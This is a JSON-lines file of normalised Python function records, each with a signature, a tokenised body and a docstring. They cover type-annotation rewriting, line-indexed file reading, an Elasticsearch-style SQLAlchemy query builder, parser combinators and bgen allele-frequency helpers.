{"signature": "def copy_arguments_to_annotations(args, type_comment, *, is_method=False):", "body": "if isinstance(type_comment, ast3.Ellipsis):<EOL><INDENT>return<EOL><DEDENT>expected = len(args.args)<EOL>if args.vararg:<EOL><INDENT>expected += <NUM_LIT:1><EOL><DEDENT>expected += len(args.kwonlyargs)<EOL>if args.kwarg:<EOL><INDENT>expected += <NUM_LIT:1><EOL><DEDENT>actual = len(type_comment) if isinstance(type_comment, list) else <NUM_LIT:1><EOL>if expected != actual:<EOL><INDENT>if is_method and expected - actual == <NUM_LIT:1>:<EOL><INDENT>pass  <EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>f\"<STR_LIT>\" +<EOL>f\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>if isinstance(type_comment, list):<EOL><INDENT>next_value = type_comment.pop<EOL><DEDENT>else:<EOL><INDENT>_tc = type_comment<EOL>def next_value(index: int = <NUM_LIT:0>) -> ast3.expr:<EOL><INDENT>return _tc<EOL><DEDENT><DEDENT>for arg in args.args[expected - actual:]:<EOL><INDENT>ensure_no_annotation(arg.annotation)<EOL>arg.annotation = next_value(<NUM_LIT:0>)<EOL><DEDENT>if args.vararg:<EOL><INDENT>ensure_no_annotation(args.vararg.annotation)<EOL>args.vararg.annotation = next_value(<NUM_LIT:0>)<EOL><DEDENT>for arg in args.kwonlyargs:<EOL><INDENT>ensure_no_annotation(arg.annotation)<EOL>arg.annotation = next_value(<NUM_LIT:0>)<EOL><DEDENT>if args.kwarg:<EOL><INDENT>ensure_no_annotation(args.kwarg.annotation)<EOL>args.kwarg.annotation = next_value(<NUM_LIT:0>)<EOL><DEDENT>", "docstring": "Copies AST nodes from `type_comment` into the ast3.arguments in `args`.\n\n    Does validaation of argument count (allowing for untyped self/cls)\n    and type (vararg and kwarg).", "id": "f1486:m52"}
{"signature": "def copy_type_comments_to_annotations(args):", "body": "for arg in args.args:<EOL><INDENT>copy_type_comment_to_annotation(arg)<EOL><DEDENT>if args.vararg:<EOL><INDENT>copy_type_comment_to_annotation(args.vararg)<EOL><DEDENT>for arg in args.kwonlyargs:<EOL><INDENT>copy_type_comment_to_annotation(arg)<EOL><DEDENT>if args.kwarg:<EOL><INDENT>copy_type_comment_to_annotation(args.kwarg)<EOL><DEDENT>", "docstring": "Copies argument type comments from the legacy long form to annotations\n    in the entire function signature.", "id": "f1486:m53"}
{"signature": "def maybe_replace_any_if_equal(name, expected, actual):", "body": "is_equal = expected == actual<EOL>if not is_equal and Config.replace_any:<EOL><INDENT>actual_str = minimize_whitespace(str(actual))<EOL>if actual_str and actual_str[<NUM_LIT:0>] in {'<STR_LIT:\">', \"<STR_LIT:'>\"}:<EOL><INDENT>actual_str = actual_str[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>is_equal = actual_str in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}<EOL><DEDENT>if not is_equal:<EOL><INDENT>expected_annotation = minimize_whitespace(str(expected))<EOL>actual_annotation = minimize_whitespace(str(actual))<EOL>raise ValueError(<EOL>f\"<STR_LIT>\" +<EOL>f\"<STR_LIT>\"<EOL>)<EOL><DEDENT>return expected or actual<EOL>", "docstring": "Return the type given in `expected`.\n\n    Raise ValueError if `expected` isn't equal to `actual`.  If --replace-any is\n    used, the Any type in `actual` is considered equal.\n\n    The implementation is naively checking if the string representation of\n    `actual` is one of \"Any\", \"typing.Any\", or \"t.Any\".  This is done for two\n    reasons:\n\n    1. I'm lazy.\n    2. We want people to be able to explicitly state that they want Any without it\n       being replaced.  This way they can use an alias.", "id": "f1486:m55"}
{"signature": "def ensure_annotations_equal(name, expected, actual):", "body": "maybe_replace_any_if_equal(name, expected, actual)<EOL>", "docstring": "Raise ValueError if `expected` isn't equal to `actual`.\n\n    If --replace-any is used, the Any type in `actual` is considered equal.", "id": "f1486:m57"}
{"signature": "def remove_function_signature_type_comment(body):", "body": "for node in body.children:<EOL><INDENT>if node.type == token.INDENT:<EOL><INDENT>prefix = node.prefix.lstrip()<EOL>if prefix.startswith('<STR_LIT>'):<EOL><INDENT>node.prefix = '<STR_LIT:\\n>'.join(prefix.split('<STR_LIT:\\n>')[<NUM_LIT:1>:])<EOL><DEDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Removes the legacy signature type comment, leaving other comments if any.", "id": "f1486:m58"}
{"signature": "def flatten_some(children):", "body": "for node in children:<EOL><INDENT>if node.type in (syms.try_stmt, syms.suite):<EOL><INDENT>yield from flatten_some(node.children)<EOL><DEDENT>else:<EOL><INDENT>yield node<EOL><DEDENT><DEDENT>", "docstring": "Generates nodes or leaves, unpacking bodies of try:except:finally: statements.", "id": "f1486:m61"}
{"signature": "def pop_param(params):", "body": "default = None<EOL>name = params.pop(<NUM_LIT:0>)<EOL>if name in (_star, _dstar):<EOL><INDENT>default = params.pop(<NUM_LIT:0>)<EOL>if default == _comma:<EOL><INDENT>return name, default<EOL><DEDENT><DEDENT>try:<EOL><INDENT>remainder = params.pop(<NUM_LIT:0>)<EOL>if remainder == _eq:<EOL><INDENT>default = params.pop(<NUM_LIT:0>)<EOL>remainder = params.pop(<NUM_LIT:0>)<EOL><DEDENT>if remainder != _comma:<EOL><INDENT>raise ValueError(f\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT>return name, default<EOL>", "docstring": "Pops the parameter and the \"remainder\" (comma, default value).\n\n    Returns a tuple of ('name', default) or (_star, 'name') or (_dstar, 'name').", "id": "f1486:m62"}
{"signature": "def get_offset_and_prefix(body, skip_assignments=False):", "body": "assert body.type in (syms.file_input, syms.suite)<EOL>_offset = <NUM_LIT:0><EOL>prefix = '<STR_LIT>'<EOL>for _offset, child in enumerate(body.children):<EOL><INDENT>if child.type == syms.simple_stmt:<EOL><INDENT>stmt = child.children[<NUM_LIT:0>]<EOL>if stmt.type == syms.expr_stmt:<EOL><INDENT>expr = stmt.children<EOL>if not skip_assignments:<EOL><INDENT>break<EOL><DEDENT>if (<EOL>len(expr) != <NUM_LIT:2> or<EOL>expr[<NUM_LIT:0>].type != token.NAME or<EOL>expr[<NUM_LIT:1>].type != syms.annassign or<EOL>_eq in expr[<NUM_LIT:1>].children<EOL>):<EOL><INDENT>break<EOL><DEDENT><DEDENT>elif stmt.type not in (syms.import_name, syms.import_from, token.STRING):<EOL><INDENT>break<EOL><DEDENT><DEDENT>elif child.type == token.INDENT:<EOL><INDENT>assert isinstance(child, Leaf)<EOL>prefix = child.value<EOL><DEDENT>elif child.type != token.NEWLINE:<EOL><INDENT>break<EOL><DEDENT><DEDENT>prefix, child.prefix = child.prefix, prefix<EOL>return _offset, prefix<EOL>", "docstring": "Returns the offset after which a statement can be inserted to the `body`.\n\n    This offset is calculated to come after all imports, and maybe existing\n    (possibly annotated) assignments if `skip_assignments` is True.\n\n    Also returns the indentation prefix that should be applied to the inserted\n    node.", "id": "f1486:m65"}
{"signature": "@singledispatch<EOL>def name_used_in_node(node, name):", "body": "", "docstring": "Returns True if `name` appears in `node`. False otherwise.", "id": "f1486:m66"}
{"signature": "def fix_line_numbers(body):", "body": "maxline = <NUM_LIT:0><EOL>for node in body.pre_order():<EOL><INDENT>maxline += node.prefix.count('<STR_LIT:\\n>')<EOL>if isinstance(node, Leaf):<EOL><INDENT>node.lineno = maxline<EOL>maxline += str(node.value).count('<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>", "docstring": "r\"\"\"Recomputes all line numbers based on the number of \\n characters.", "id": "f1486:m69"}
{"signature": "def new(n, prefix=None):", "body": "if isinstance(n, Leaf):<EOL><INDENT>return Leaf(n.type, n.value, prefix=n.prefix if prefix is None else prefix)<EOL><DEDENT>n.parent = None<EOL>if prefix is not None:<EOL><INDENT>n.prefix = prefix<EOL><DEDENT>return n<EOL>", "docstring": "lib2to3's AST requires unique objects as children.", "id": "f1486:m70"}
{"signature": "def apply_job_security(code):", "body": "buf = io.BytesIO(code.encode('<STR_LIT:utf8>'))<EOL>tokens = tokenize.tokenize(buf.readline)<EOL>data = tokenize.untokenize(replacetokens(list(tokens), '<STR_LIT>'))<EOL>return cast(str, data.decode('<STR_LIT:utf8>'))<EOL>", "docstring": "Treat input `code` like Python 2 (implicit strings are byte literals).\n\n    The implementation is horribly inefficient but the goal is to be compatible\n    with what Mercurial does at runtime.", "id": "f1487:m0"}
{"signature": "def create_index(file_path, index_path, index_ratio, index_width):", "body": "i = <NUM_LIT:0><EOL>with file_path.open() as f:<EOL><INDENT>with index_path.open(\"<STR_LIT:wb>\") as idx:<EOL><INDENT>idx.write(index_ratio.to_bytes(<NUM_LIT:1>, byteorder=\"<STR_LIT>\"))<EOL>idx.write(index_width.to_bytes(<NUM_LIT:1>, byteorder=\"<STR_LIT>\"))<EOL>idx.write((<NUM_LIT:0>).to_bytes(<NUM_LIT:32>, byteorder=\"<STR_LIT>\"))  <EOL>idx.write((<NUM_LIT:0>).to_bytes(index_width, byteorder=\"<STR_LIT>\"))<EOL>while f.readline():<EOL><INDENT>i += <NUM_LIT:1><EOL>if (i % index_ratio) == <NUM_LIT:0>:<EOL><INDENT>pointer = f.tell()<EOL>b = pointer.to_bytes(index_width, byteorder=\"<STR_LIT>\")<EOL>idx.write(b)<EOL><DEDENT><DEDENT>idx.seek(<NUM_LIT:2>)<EOL>idx.write(i.to_bytes(<NUM_LIT:32>, byteorder=\"<STR_LIT>\"))<EOL><DEDENT>t = file_path.stat().st_mtime<EOL>os.utime(str(index_path), (t, t))<EOL><DEDENT>", "docstring": "Index format:\n    1st byte: index_ratio\n    2nd byte: index_width\n    3rd byte: line_count", "id": "f1492:m0"}
{"signature": "def __init__(self, filepath, encoding=None, errors=None, newline=None, index_ratio=<NUM_LIT:1>, index_width=<NUM_LIT:5>):", "body": "self.filepath = Path(filepath)<EOL>self.file = self.filepath.open(encoding=encoding, errors=errors, newline=newline)<EOL>self.index = self.get_or_create_index(index_ratio, index_width)<EOL>", "docstring": "Open a text file which has it's line numbers indexed.\n\n:param filepath:\n:param encoding:\n:param errors:\n:param newline:\n:param index_ratio:  how close together should indexed lines be? (1=index all lines, 2=index every 2nd line, etc)\n:param index_width: how many bytes are needed to store the location of lines in the file", "id": "f1492:c0:m0"}
{"signature": "def __getitem__(self, slice_obj):", "body": "start, stop, step = normalize_slice(slice_obj, self.index.line_count)<EOL>if isinstance(slice_obj, slice):<EOL><INDENT>if step == <NUM_LIT:1>:<EOL><INDENT>return self._get_lines(start, stop)<EOL><DEDENT>return [self._get_lines(i)[<NUM_LIT:0>] for i in range(start, stop, step)]<EOL><DEDENT>if isinstance(slice_obj, int):<EOL><INDENT>return self._get_lines(start)[<NUM_LIT:0>]<EOL><DEDENT>return None<EOL>", "docstring": "Supports slice operations on the file\n\nFor example:\n\n    with IndexedOpen(filename) as f:\n        print f[6:-2]", "id": "f1492:c0:m4"}
{"signature": "def get_or_create_index(self, index_ratio, index_width):", "body": "if not self.index_path.exists() or not self.filepath.stat().st_mtime == self.index_path.stat().st_mtime:<EOL><INDENT>create_index(self.filepath, self.index_path, index_ratio=index_ratio, index_width=index_width)<EOL><DEDENT>return IndexFile(str(self.index_path))<EOL>", "docstring": "Return an open file-object to the index file", "id": "f1492:c0:m6"}
{"signature": "@property<EOL><INDENT>def index_path(self):<DEDENT>", "body": "return Path(str(self.filepath) + \"<STR_LIT>\")<EOL>", "docstring": "the path to the index file", "id": "f1492:c0:m7"}
{"signature": "def __init__(self, index_file_path):", "body": "self.index_path = Path(index_file_path)<EOL>self.header_length = <NUM_LIT><EOL>self.index_file = self._open_index()<EOL>", "docstring": "Open a line-number index for a text file.", "id": "f1492:c1:m0"}
{"signature": "def normalize_slice(slice_obj, length):", "body": "if isinstance(slice_obj, slice):<EOL><INDENT>start, stop, step = slice_obj.start, slice_obj.stop, slice_obj.step<EOL>if start is None:<EOL><INDENT>start = <NUM_LIT:0><EOL><DEDENT>if stop is None:<EOL><INDENT>stop = length<EOL><DEDENT>if step is None:<EOL><INDENT>step = <NUM_LIT:1><EOL><DEDENT>if start < <NUM_LIT:0>:<EOL><INDENT>start += length<EOL><DEDENT>if stop < <NUM_LIT:0>:<EOL><INDENT>stop += length<EOL><DEDENT><DEDENT>elif isinstance(slice_obj, int):<EOL><INDENT>start = slice_obj<EOL>if start < <NUM_LIT:0>:<EOL><INDENT>start += length<EOL><DEDENT>stop = start + <NUM_LIT:1><EOL>step = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>raise TypeError<EOL><DEDENT>if (<NUM_LIT:0> <= start <= length) and (<NUM_LIT:0> <= stop <= length):<EOL><INDENT>return start, stop, step<EOL><DEDENT>raise IndexError<EOL>", "docstring": "Given a slice object, return appropriate values for use in the range function\n\n:param slice_obj: The slice object or integer provided in the `[]` notation\n:param length: For negative indexing we need to know the max length of the object.", "id": "f1494:m0"}
{"signature": "def setUp(self):", "body": "global engine<EOL>engine = create_engine('<STR_LIT>', echo=False)<EOL>global Session<EOL>Session = sessionmaker(bind=engine)<EOL>global session<EOL>session = Session()<EOL>session._model_changes = {}<EOL>Base.metadata.create_all(bind=engine)<EOL>session.add_all([<EOL>User(name='<STR_LIT>', lastname='<STR_LIT>', uid='<STR_LIT>', city_id=<NUM_LIT:1>),<EOL>User(name='<STR_LIT>', lastname='<STR_LIT>', uid='<STR_LIT>', city_id=<NUM_LIT:2>),<EOL>User(name='<STR_LIT>', lastname='<STR_LIT>', uid='<STR_LIT>', city_id=<NUM_LIT:1>),<EOL>City(name='<STR_LIT>'),<EOL>City(name='<STR_LIT>')<EOL>])<EOL>session.commit()<EOL>", "docstring": "Initial setup for the test", "id": "f1495:c2:m0"}
{"signature": "def elastic_query(model, query, session=None, enabled_fields=None):", "body": "<EOL>instance = ElasticQuery(model, query, session, enabled_fields)<EOL>return instance.search()<EOL>", "docstring": "Public method for init the class ElasticQuery\n        :model: SQLAlchemy model\n        :query: valid string like a ElasticSearch\n        :session: SQLAlchemy session *optional\n        :enabled_fields: Fields allowed for make a query *optional", "id": "f1497:m0"}
{"signature": "def __init__(self, model, query, session=None, enabled_fields=None):", "body": "self.model = model<EOL>self.query = query<EOL>if hasattr(model, '<STR_LIT>'):<EOL><INDENT>self.model_query = model.query<EOL><DEDENT>else:<EOL><INDENT>self.model_query = session.query(self.model)<EOL><DEDENT>self.enabled_fields = enabled_fields<EOL>", "docstring": "Initializator of the class 'ElasticQuery", "id": "f1497:c0:m0"}
{"signature": "def search(self):", "body": "try:<EOL><INDENT>filters = json.loads(self.query)<EOL><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>result = self.model_query<EOL>if '<STR_LIT>'in filters.keys():<EOL><INDENT>result = self.parse_filter(filters['<STR_LIT>'])<EOL><DEDENT>if '<STR_LIT>'in filters.keys():<EOL><INDENT>result = result.order_by(*self.sort(filters['<STR_LIT>']))<EOL><DEDENT>return result<EOL>", "docstring": "This is the most important method", "id": "f1497:c0:m1"}
{"signature": "def parse_filter(self, filters):", "body": "for filter_type in filters:<EOL><INDENT>if filter_type == '<STR_LIT>' or filter_type == '<STR_LIT>':<EOL><INDENT>conditions = []<EOL>for field in filters[filter_type]:<EOL><INDENT>if self.is_field_allowed(field):<EOL><INDENT>conditions.append(self.create_query(self.parse_field(field, filters[filter_type][field])))<EOL><DEDENT><DEDENT>if filter_type == '<STR_LIT>':<EOL><INDENT>self.model_query = self.model_query.filter(or_(*conditions))<EOL><DEDENT>elif filter_type == '<STR_LIT>':<EOL><INDENT>self.model_query = self.model_query.filter(and_(*conditions))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self.is_field_allowed(filter_type):<EOL><INDENT>conditions = self.create_query(self.parse_field(filter_type, filters[filter_type]))<EOL>self.model_query = self.model_query.filter(conditions)<EOL><DEDENT><DEDENT><DEDENT>return self.model_query<EOL>", "docstring": "This method process the filters", "id": "f1497:c0:m2"}
{"signature": "def parse_field(self, field, field_value):", "body": "if type(field_value) is dict:<EOL><INDENT>operator = list(field_value)[<NUM_LIT:0>]<EOL>if self.verify_operator(operator) is False:<EOL><INDENT>return \"<STR_LIT>\", operator<EOL><DEDENT>value = field_value[operator]<EOL><DEDENT>elif type(field_value) is unicode:<EOL><INDENT>operator = u'<STR_LIT>'<EOL>value = field_value<EOL><DEDENT>return field, operator, value<EOL>", "docstring": "Parse the operators and traduce: ES to SQLAlchemy operators", "id": "f1497:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def verify_operator(operator):<DEDENT>", "body": "try:<EOL><INDENT>if hasattr(OPERATORS[operator], '<STR_LIT>'):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Verify if the operator is valid", "id": "f1497:c0:m4"}
{"signature": "def create_query(self, attr):", "body": "field = attr[<NUM_LIT:0>]<EOL>operator = attr[<NUM_LIT:1>]<EOL>value = attr[<NUM_LIT:2>]<EOL>model = self.model<EOL>if '<STR_LIT:.>' in field:<EOL><INDENT>field_items = field.split('<STR_LIT:.>')<EOL>field_name = getattr(model, field_items[<NUM_LIT:0>], None)<EOL>class_name = field_name.property.mapper.class_<EOL>new_model = getattr(class_name, field_items[<NUM_LIT:1>])<EOL>return field_name.has(OPERATORS[operator](new_model, value))<EOL><DEDENT>return OPERATORS[operator](getattr(model, field, None), value)<EOL>", "docstring": "Mix all values and make the query", "id": "f1497:c0:m6"}
{"signature": "def sort(self, sort_list):", "body": "order = []<EOL>for sort in sort_list:<EOL><INDENT>if sort_list[sort] == \"<STR_LIT>\":<EOL><INDENT>order.append(asc(getattr(self.model, sort, None)))<EOL><DEDENT>elif sort_list[sort] == \"<STR_LIT>\":<EOL><INDENT>order.append(desc(getattr(self.model, sort, None)))<EOL><DEDENT><DEDENT>return order<EOL>", "docstring": "Sort", "id": "f1497:c0:m7"}
{"signature": "def read(*paths):", "body": "with open(os.path.join(*paths), '<STR_LIT:r>') as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Build a file path from *paths* and return the contents.", "id": "f1498:m0"}
{"signature": "def build_string(iterable):", "body": "return u'<STR_LIT>'.join(iterable)<EOL>", "docstring": "A utility function to wrap up the converting a list of characters back into a string.", "id": "f1511:m0"}
{"signature": "def caseless_string(s):", "body": "return string(zip(s.lower(), s.upper()))<EOL>", "docstring": "Attempts to match input to the letters in the string, without regard for case.", "id": "f1511:m1"}
{"signature": "def lexeme(parser):", "body": "whitespace()<EOL>v = parser()<EOL>whitespace()<EOL>return v<EOL>", "docstring": "Ignores any whitespace surrounding parser.", "id": "f1511:m2"}
{"signature": "def quoted(parser=any_token):", "body": "quote_char = quote()<EOL>value, _ = many_until(parser, partial(one_of, quote_char))<EOL>return build_string(value)<EOL>", "docstring": "Parses as much as possible until it encounters a matching closing quote.\n\n    By default matches any_token, but can be provided with a more specific parser if required.\n    Returns a string", "id": "f1511:m3"}
{"signature": "def make_literal(s):", "body": "return partial(s, tri(string), s)<EOL>", "docstring": "returns a literal parser", "id": "f1511:m4"}
{"signature": "def literal(s):", "body": "return make_literal(s)()<EOL>", "docstring": "A literal string.", "id": "f1511:m5"}
{"signature": "def make_caseless_literal(s):", "body": "return partial(s, tri(caseless_string), s)<EOL>", "docstring": "returns a literal string, case independant parser.", "id": "f1511:m6"}
{"signature": "def caseless_literal(s):", "body": "return make_caseless_literal(s)()<EOL>", "docstring": "A literal string, case independant.", "id": "f1511:m7"}
{"signature": "def compose(f, g):", "body": "return lambda *args, **kwargs: f(g(*args, **kwargs))<EOL>", "docstring": "Compose returns a two functions composed as a new function.\n\n    The first is called with the result of the second as its argument. Any arguments \n    are passed to the second.", "id": "f1512:m4"}
{"signature": "def chain(*args):", "body": "def chain_block(*args, **kwargs):<EOL><INDENT>v = args[<NUM_LIT:0>](*args, **kwargs)<EOL>for p in args[<NUM_LIT:1>:]:<EOL><INDENT>v = p(v)<EOL><DEDENT>return v<EOL><DEDENT>return chain_block<EOL>", "docstring": "Runs a series of parsers in sequence passing the result of each parser to the next.\n    The result of the last parser is returned.", "id": "f1512:m5"}
{"signature": "def any_token():", "body": "ch = peek()<EOL>if ch is EndOfFile:<EOL><INDENT>fail([\"<STR_LIT>\"])<EOL><DEDENT>next()<EOL>return ch<EOL>", "docstring": "Will accept any token in the input stream and step forward.\n\n    Fails if there is no more tokens", "id": "f1512:m6"}
{"signature": "def one_of(these):", "body": "ch = peek()<EOL>try:<EOL><INDENT>if (ch is EndOfFile) or (ch not in these):<EOL><INDENT>fail(list(these))<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>if ch != these:<EOL><INDENT>fail([these])<EOL><DEDENT><DEDENT>next()<EOL>return ch<EOL>", "docstring": "Returns the current token if is found in the collection provided.\n\n    Fails otherwise.", "id": "f1512:m7"}
{"signature": "def not_one_of(these):", "body": "ch = peek()<EOL>desc = \"<STR_LIT>\" + repr(these)<EOL>try:<EOL><INDENT>if (ch is EndOfFile) or (ch in these):<EOL><INDENT>fail([desc])<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>if ch != these:<EOL><INDENT>fail([desc])<EOL><DEDENT><DEDENT>next()<EOL>return ch<EOL>", "docstring": "Returns the current token if it is not found in the collection provided.\n\n    The negative of one_of.", "id": "f1512:m8"}
{"signature": "def satisfies(guard):", "body": "i = peek()<EOL>if (i is EndOfFile) or (not guard(i)):<EOL><INDENT>fail([\"<STR_LIT>\" + _fun_to_str(guard) + \"<STR_LIT:>>\"])<EOL><DEDENT>next()<EOL>return i<EOL>", "docstring": "Returns the current token if it satisfies the guard function provided.\n\n    Fails otherwise.\n    This is the a generalisation of one_of.", "id": "f1512:m10"}
{"signature": "def optional(parser, default=None):", "body": "return choice(parser, lambda: default)<EOL>", "docstring": "Tries to apply the provided parser, returning default if the parser fails.", "id": "f1512:m11"}
{"signature": "def not_followed_by(parser):", "body": "@tri<EOL>def not_followed_by_block():<EOL><INDENT>failed = object()<EOL>result = optional(tri(parser), failed)<EOL>if result != failed:<EOL><INDENT>fail([\"<STR_LIT>\" + _fun_to_str(parser)])<EOL><DEDENT><DEDENT>choice(not_followed_by_block)<EOL>", "docstring": "Succeeds if the given parser cannot consume input", "id": "f1512:m12"}
{"signature": "def many(parser):", "body": "results = []<EOL>terminate = object()<EOL>while local_ps.value:<EOL><INDENT>result = optional(parser, terminate)<EOL>if result == terminate:<EOL><INDENT>break<EOL><DEDENT>results.append(result)<EOL><DEDENT>return results<EOL>", "docstring": "Applies the parser to input zero or more times.\n\n    Returns a list of parser results.", "id": "f1512:m13"}
{"signature": "def many1(parser):", "body": "return [parser()] + many(parser)<EOL>", "docstring": "Like many, but must consume at least one of parser", "id": "f1512:m14"}
{"signature": "def many_until(these, term):", "body": "results = []<EOL>while True:<EOL><INDENT>stop, result = choice(_tag(True, term),<EOL>_tag(False, these))<EOL>if stop:<EOL><INDENT>return results, result<EOL><DEDENT>else:<EOL><INDENT>results.append(result)<EOL><DEDENT><DEDENT>", "docstring": "Consumes as many of these as it can until it term is encountered.\n\n    Returns a tuple of the list of these results and the term result", "id": "f1512:m16"}
{"signature": "def many_until1(these, term):", "body": "first = [these()]<EOL>these_results, term_result = many_until(these, term)<EOL>return (first + these_results, term_result)<EOL>", "docstring": "Like many_until but must consume at least one of these.", "id": "f1512:m17"}
{"signature": "def sep1(parser, separator):", "body": "first = [parser()]<EOL>def inner():<EOL><INDENT>separator()<EOL>return parser()<EOL><DEDENT>return first + many(tri(inner))<EOL>", "docstring": "Like sep but must consume at least one of parser.", "id": "f1512:m18"}
{"signature": "def sep(parser, separator):", "body": "return optional(partial(sep1, parser, separator), [])<EOL>", "docstring": "Consumes zero or more of parser, separated by separator.\n\n    Returns a list of parser's results", "id": "f1512:m19"}
{"signature": "def n_of(parser, n):", "body": "return [parser() for i in range(n)]<EOL>", "docstring": "Consumes n of parser, returning a list of the results.", "id": "f1512:m20"}
{"signature": "def string(string):", "body": "found = []<EOL>for c in string:<EOL><INDENT>found.append(one_of(c))<EOL><DEDENT>return found<EOL>", "docstring": "Iterates over string, matching input to the items provided.\n\n    The most obvious usage of this is to accept an entire string of characters,\n    However this is function is more general than that. It takes an iterable\n    and for each item, it tries one_of for that set. For example, \n       string(['aA','bB','cC'])\n    will accept 'abc' in either case. \n\n    note, If you wish to match caseless strings as in the example, use \n    picoparse.text.caseless_string.", "id": "f1512:m21"}
{"signature": "def cue(*parsers):", "body": "if not parsers:<EOL><INDENT>return None<EOL><DEDENT>for p in parsers[:-<NUM_LIT:1>]:<EOL><INDENT>p()<EOL><DEDENT>return parsers[-<NUM_LIT:1>]()<EOL>", "docstring": "Runs multiple parsers and returns the result of the last.", "id": "f1512:m22"}
{"signature": "def follow(*parsers):", "body": "if not parsers:<EOL><INDENT>return None<EOL><DEDENT>v = parsers[<NUM_LIT:0>]()<EOL>for p in parsers[<NUM_LIT:1>:]:<EOL><INDENT>p()<EOL><DEDENT>return v<EOL>", "docstring": "Runs multiple parsers and returns the result of the first.", "id": "f1512:m23"}
{"signature": "def remaining():", "body": "tokens = []<EOL>while peek() is not EndOfFile:<EOL><INDENT>tokens.append(peek())<EOL>next()<EOL><DEDENT>return tokens<EOL>", "docstring": "Returns the remaining input that has not been parsed.", "id": "f1512:m24"}
{"signature": "def seq(*sequence):", "body": "results = {}<EOL>for p in sequence:<EOL><INDENT>if callable(p): <EOL><INDENT>p()<EOL>continue<EOL><DEDENT>k, v = p<EOL>results[k] = v()<EOL><DEDENT>return results<EOL>", "docstring": "Runs a series of parsers in sequence optionally storing results in a returned dictionary.\n\n    For example:\n    seq(whitespace, ('phone', digits), whitespace, ('name', remaining))", "id": "f1512:m25"}
{"signature": "def _fill(self, size):", "body": "try:<EOL><INDENT>for i in range(size):<EOL><INDENT>self.buffer.append(self.source.__next__())<EOL><DEDENT><DEDENT>except StopIteration:<EOL><INDENT>self.buffer.append((EndOfFile, EndOfFile))<EOL><DEDENT>self.len = len(self.buffer)<EOL>", "docstring": "fills the internal buffer from the source iterator", "id": "f1512:c3:m2"}
{"signature": "def __next__(self):", "body": "self.index += <NUM_LIT:1><EOL>t = self.peek()<EOL>if not self.depth:<EOL><INDENT>self._cut()<EOL><DEDENT>return t<EOL>", "docstring": "Advances to and returns the next token or returns EndOfFile", "id": "f1512:c3:m3"}
{"signature": "def current(self):", "body": "if self.index >= self.len:<EOL><INDENT>self._fill((self.index - self.len) + <NUM_LIT:1>)<EOL><DEDENT>return self.index < self.len and self.buffer[self.index] or (EndOfFile, EndOfFile)<EOL>", "docstring": "Returns the current (token, position) or (EndOfFile, EndOfFile)", "id": "f1512:c3:m4"}
{"signature": "def peek(self):", "body": "return self.current()[<NUM_LIT:0>]<EOL>", "docstring": "Returns the current token or EndOfFile", "id": "f1512:c3:m5"}
{"signature": "def pos(self):", "body": "return self.current()[<NUM_LIT:1>]<EOL>", "docstring": "Returns the current position or EndOfFile", "id": "f1512:c3:m6"}
{"signature": "def allele_frequency(expec):", "body": "expec = asarray(expec, float)<EOL>if expec.ndim != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>ploidy = expec.shape[-<NUM_LIT:1>]<EOL>return expec.sum(-<NUM_LIT:2>) / ploidy<EOL>", "docstring": "r\"\"\" Compute allele frequency from its expectation.\n\n    Parameters\n    ----------\n    expec : array_like\n        Allele expectations encoded as a samples-by-alleles matrix.\n\n    Returns\n    -------\n    :class:`numpy.ndarray`\n        Allele frequencies encoded as a variants-by-alleles matrix.\n\n    Examples\n    --------\n    .. doctest::\n\n        >>> from bgen_reader import read_bgen, example_files\n        >>> from bgen_reader import allele_expectation, allele_frequency\n        >>>\n        >>> # Download an example\n        >>> example = example_files(\"example.32bits.bgen\")\n        >>> filepath = example.filepath\n        >>>\n        >>> bgen = read_bgen(filepath, verbose=False)\n        >>>\n        >>> variants = bgen[\"variants\"]\n        >>> samples = bgen[\"samples\"]\n        >>> genotype = bgen[\"genotype\"]\n        >>>\n        >>> variant = variants[variants[\"rsid\"] == \"RSID_6\"].compute()\n        >>> variant_idx = variant.index.item()\n        >>>\n        >>> p = genotype[variant_idx].compute()[\"probs\"]\n        >>> # For unphased genotypes only.\n        >>> e = allele_expectation(bgen, variant_idx)\n        >>> f = allele_frequency(e)\n        >>>\n        >>> alleles = variant[\"allele_ids\"].item().split(\",\")\n        >>> print(alleles[0] + \": {}\".format(f[0]))\n        A: 229.23103218810434\n        >>> print(alleles[1] + \": {}\".format(f[1]))\n        G: 270.7689678118956\n        >>> print(variant)\n                id    rsid chrom   pos  nalleles allele_ids  vaddr\n        4  SNPID_6  RSID_6    01  6000         2        A,G  19377\n        >>>\n        >>> # Clean-up the example\n        >>> example.close()", "id": "f1519:m0"}
{"signature": "def compute_dosage(expec, alt=None):", "body": "if alt is None:<EOL><INDENT>return expec[..., -<NUM_LIT:1>]<EOL><DEDENT>try:<EOL><INDENT>return expec[:, alt]<EOL><DEDENT>except NotImplementedError:<EOL><INDENT>alt = asarray(alt, int)<EOL>return asarray(expec, float)[:, alt]<EOL><DEDENT>", "docstring": "r\"\"\" Compute dosage from allele expectation.\n\n    Parameters\n    ----------\n    expec : array_like\n        Allele expectations encoded as a samples-by-alleles matrix.\n    alt : array_like, optional\n        Alternative allele index. If ``None``, the allele having the minor\n        allele frequency for the provided ``expec`` is used as the alternative.\n        Defaults to ``None``.\n\n    Returns\n    -------\n    :class:`numpy.ndarray`\n        Dosage encoded as an array of size equal to the number of samples.\n\n    Examples\n    --------\n    .. code-block:: python\n        :caption: First a quick-start example.\n\n        >>> from bgen_reader import allele_expectation, compute_dosage\n        >>> from bgen_reader import example_files, read_bgen\n        >>>\n        >>> # Download an example.\n        >>> example = 